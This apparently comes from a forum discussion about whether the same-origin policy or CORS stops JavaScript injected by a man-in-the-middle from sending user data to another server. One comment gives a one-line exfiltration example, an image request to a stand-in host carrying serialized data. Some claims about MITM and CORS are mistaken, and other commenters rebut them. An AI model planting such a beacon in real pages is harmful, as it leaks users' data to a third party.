No. https://en.wikipedia.org/wiki/Same-origin_policy

Ohh I dunno. Lets say you're running a non-HTTPS site and an attacker MITMs one of your users and injects JavaScript which will appear to come from your site into that users session.

At that point the attacker can use that JavaScript to send your user's data to another server under their control, same origin won't help, as the JavaScript will appear to come from your site.

Uh, a MiTM will just show an entire fake site, or it can drop your content and just send a redirect header to any website it wants.

Man in the middle attacks allow an attacker to read data over the wire. It does not mean the attacker and modify that data. It certainly doesn't mean the attacker can move traffic to a different end point.

Usually man in the middle attack refers to an attack where someone controls a connection between you and the server and is able to freely control the connection including modifying or completely fabricating any packets coming through. Your ISP and whoever controls the wifi router you connect to can modify any data coming through like this.

Uh, MiTM can modify traffic, tools to do that have been around at least 2 decades.

Yes. https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharin...

Which you've noted three times but is just as wrong the third time as the first. You can break/disable SOP when it's trivially easy to edit the code.

> You can break/disable SOP when it's trivially easy to edit the code.

How? SOP isn't related to the code. It is only concerned with the page address.

The point is that you can put the code wherever you want, including inside the same origin context (e.g. right in the main HTML).

Same-origin is the other way around, it protects evilcorp.com from being called by non-https.com. So a simple CORS setup on evilcorp.com would indeed allow you to send all user data by MITMing non-https.com

CORS allows a site to bypass same origin policy according to a whitelist specified in the corresponding HTTP header. The setup on evil.com is irrelevant. CORS must be instantiated from the server sending the page.

https://en.wikipedia.org/wiki/Cross-origin_resource_sharing

No. From your link: "Note that in the CORS architecture, the ACAO header is being set by the external web service (service.example.com), not the original web application server (www.example.com). CORS allows the external web service to authorise the web application to use its services and does not control external services accessed by the web application."

How does same-origin policy (on a MITM'd website) prevents this?

    (new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);

It doesn't because Same-origin protects data on example.com, not on the embedding page (in your example). It is not a security measure that aims to prevent the issue mentioned by the grand parent post

Here is how: https://news.ycombinator.com/edit?id=17861667